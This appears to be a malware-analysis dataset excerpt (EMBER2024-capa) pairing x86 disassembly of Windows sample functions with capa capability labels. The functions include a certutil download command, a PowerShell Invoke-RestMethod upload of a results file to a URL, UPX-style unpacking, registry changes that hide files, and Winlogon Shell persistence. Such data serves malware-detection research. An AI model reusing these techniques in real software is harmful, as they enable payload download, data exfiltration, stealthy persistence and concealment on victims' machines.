joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401460
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.certutil.exe__urlcache__split__f__s__s
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4014c1
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Downloaded:__s_n
call sym._printf
jmp 0x4014d4
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_download:__s_n
call sym._printf
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x4014d9
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.mkdir__s
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._system
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s__s____s_output.txt
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40155e
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [esp + 4], 0x40b0d2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401599
mov dword [esp], str.Failed_to_open_.txt_file
call sym._perror
mov eax, 1
jmp 0x40165a
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.mkdir__s
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._system
jmp 0x401629
mov dword [esp + 4], 0x40b0ed
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._strcspn
mov byte [ebp + eax - 0x20c], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x20c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s____s_output.txt
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._system
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._fgets
test eax, eax
jne 0x4015ce
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret
Function at 0x4017eb
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 0x10], str.result_results.txt
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.powershell__Command__Invoke_RestMethod__Uri__s__Method_Post__InFile__s__ContentType_multipart_form_data_
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym.___mingw_snprintf
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.Uploading_results_to:__s_n
call sym._printf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4021f0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x40223b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402234
test esi, esi
je 0x402234
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402210
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402420
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402470
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402548
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4024ae
cmp eax, 4
jne 0x4024d0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4024be
cmp edx, 4
je 0x4024be
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402420
Function at 0x401000
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, 0x6a61
mov eax, 0x6c3d
call sub.user32.dll_GetDialogBaseUnits
push 0x40
push 0x3000
push 0x27400
push 0
call sub.kernel32.dll_GetProcessHeap
call sub.kernel32.dll_VirtualAlloc
call fcn.004a5cc9
ret

Function at 0x9a9060
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x65900d
lea edi, [esi - 0x25800d]
push edi
or ebp, 0xffffffff
jmp 0x9a9082
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x9a9089
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x9a9078
mov eax, 1
add ebx, ebx
jne 0x9a909b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x9a9090
jne 0x9a90ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9a9090
xor ecx, ecx
sub eax, 3
jb 0x9a90c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x9a9132
mov ebp, eax
add ebx, ebx
jne 0x9a90cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x9a90d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x9a90fc
inc ecx
add ebx, ebx
jne 0x9a90e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x9a90dd
jne 0x9a90f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x9a90dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x9a911c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x9a910d
jmp 0x9a907e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x9a911c
add edi, ecx
jmp 0x9a907e
pop esi
mov edi, esi
mov ecx, 0x1844
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x9a913a
cmp byte [edi], 0x11
jne 0x9a913a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x9a913f
lea edi, [esi + 0x5a5000]
mov eax, dword [edi]
or eax, eax
je 0x9a91ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5abf9c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5abff4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x9a916c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5abffc]
or eax, eax
je 0x9a91a8
mov dword [ebx], eax
add ebx, 4
jmp 0x9a9189
call dword [esi + 0x5abff8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x9a91df
cmp al, 0xef
ja 0x9a91d2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x9a91b4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x9a91c1
mov ebp, dword [esi + 0x5ac000]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x9a9213
sub esp, 0xffffff80
jmp 0x40f11c
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x5cb008], 0x8088405
inc edx
mov dword [ebx + 0x5cb008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d254
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d285
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d26d
add dl, dl
jne 0x41d290
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d2e1
xor eax, eax
add dl, dl
jne 0x41d29d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d37e
add dl, dl
jne 0x41d2ac
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2b7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2c2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2cd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d2d7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d27c
mov eax, 1
add dl, dl
jne 0x41d2ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d2fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d2e6
sub eax, ebx
mov ebx, 1
jne 0x41d32d
mov ecx, 1
add dl, dl
jne 0x41d313
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d31e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d30a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d27c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d344
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d34f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d33b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d27c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d39f
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d27c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f3b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x5ae89e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f3ff
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f41e
mov ecx, edx
add ecx, ebx
jmp 0x41f41e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f41e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f490
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f479
test esi, esi
jbe 0x41f490
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f46b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f490
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f448
jmp 0x41f490
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f490
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ae8a5
ret
Function at 0x4205fc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x5afc17
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x420637
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x420650
lea eax, [ebp - 0x10]
mov edx, dword [0x5cd5f0]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d30
jmp 0x420663
lea eax, [ebp - 0x10]
mov edx, dword [0x5cd5f0]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x42066f
adc edx, 0
mov edx, dword [edx*4 + 0x5cc3fc]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x4207e9
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4207dc
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dec
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4207dc
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x42077a
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x42077a
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x42077a
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x42077a
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x4207dc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4207dc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4207dc
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4207dc
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4207dc
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420801
inc ebx
cmp ebx, 0x19
jne 0x420629
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5afc1e
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x476400
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x53000]
push edi
or ebp, 0xffffffff
jmp 0x476422
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x476429
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x476418
mov eax, 1
add ebx, ebx
jne 0x47643b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x47644c
jne 0x47646b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47646b
dec eax
add ebx, ebx
jne 0x476458
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x476430
add ebx, ebx
jne 0x476467
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4764bd
xor ecx, ecx
sub eax, 3
jb 0x476483
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4764f2
sar eax, 1
mov ebp, eax
jmp 0x47648e
add ebx, ebx
jne 0x47648e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47645c
inc ecx
add ebx, ebx
jne 0x47649c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47645c
add ebx, ebx
jne 0x4764a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47649e
jne 0x4764ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47649e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4764dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4764ce
jmp 0x47641e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4764dc
add edi, ecx
jmp 0x47641e
pop esi
mov edi, esi
mov ecx, 0x1125
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4764fa
cmp byte [edi], 0x11
jne 0x4764fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4764ff
lea edi, [esi + 0x73000]
mov eax, dword [edi]
or eax, eax
je 0x47656e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x80308]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8034c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47652c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x80354]
or eax, eax
je 0x476568
mov dword [ebx], eax
add ebx, 4
jmp 0x476549
call dword [esi + 0x80350]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x47659f
cmp al, 0xef
ja 0x476592
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x476574
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x476581
mov ebp, dword [esi + 0x80358]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4765d3
sub esp, 0xffffff80
jmp 0x41ec40
Function at 0x402130
Capabilities:
Set registry value

Disassembly:
sub esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 4]
push edi
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHidden
push closesocket
mov dword [esp + 0x20], 0
call esi
mov edx, dword [esp + 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push 0
push str.UncheckedValue
push edx
call edi
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
push closesocket
call esi
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push 0
push str.ShowSuperHidden
push edx
call edi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret
Function at 0x402650
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x404410
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x10], esp
push esi
call fcn.004021c0
mov eax, dword [ebp + 8]
mov edi, dword [0x4062a8]
mov ebx, dword [0x4062ac]
push eax
call fcn.004021c0
mov eax, dword [0x4062ac]
mov ecx, dword [0x4062a8]
add esp, 8
cmp eax, ebx
mov dword [ebp + 0xc], ecx
jb 0x402743
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [ebp - 0x14]
mov edi, eax
push 0
push edx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp + 0xc]
push 0
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea edx, [ebp - 0x18]
push 0
push edx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402760
Capabilities:
Copy file
Delete file
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x184
mov eax, dword [str.ibmssz]
mov cx, word [0x405d00]
mov dl, byte [0x405d02]
push edi
mov dword [esp + 4], eax
mov word [esp + 8], cx
mov ecx, 0x1e
xor eax, eax
lea edi, [esp + 0xb]
mov byte [esp + 0xa], dl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [esp + 0x18c]
lea ecx, [esp + 0x84]
push eax
push str._sconime.exe
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [0x40623c]
pop edi
test eax, eax
jne 0x4027cf
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [esp + 0x80]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402820
push esi
lea edx, [esp + 0x84]
push 0x405e98
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 0
push 0x50
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 6
lea eax, [esp + 0x20]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x28
pop esi
mov al, byte [esp + 0x18c]
test al, al
je 0x402845
lea ecx, [esp + 0x80]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0x184
ret
lea edx, [esp + 0x80]
push 6
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
add esp, 0x184
ret
Function at 0x4040b0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x118
lea ecx, [esp + 4]
push edi
push eax
push str.Explorer.exe__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push eax
push 1
push 0
push str.Shell
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x118
ret